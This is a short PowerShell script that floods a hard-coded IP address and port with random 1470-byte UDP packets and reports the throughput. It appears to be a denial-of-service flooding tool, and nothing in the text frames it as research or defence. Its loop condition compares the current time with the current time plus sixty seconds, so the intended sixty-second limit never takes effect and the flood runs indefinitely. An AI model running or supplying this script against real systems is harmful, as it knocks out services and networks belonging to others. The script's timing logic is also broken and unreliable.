$i='125.251.68.177';$p=28015;$d=60
$e=New-Object System.Net.IPEndPoint([IPAddress]::Parse($i),$p)
$c=New-Object System.Net.Sockets.UdpClient
$c.Client.SendBufferSize=10MB
$b=New-Object byte[] 1470;(New-Object Random).NextBytes($b)
$n=0;$sw=[System.Diagnostics.Stopwatch]::StartNew()
while((Get-Date)-lt(Get-Date).AddSeconds($d)){for($x=0;$x-lt10000;$x++){$c.Send($b,1470,$e)>$null;$n++}}
$sw.Stop();$mbps=($n*1470*8)/($sw.Elapsed.TotalSeconds*1e6)
"OK $n packets $([math]::Round($sw.Elapsed.TotalSeconds,2))s $([math]::Round($mbps,2))Mbps"
$c.Close()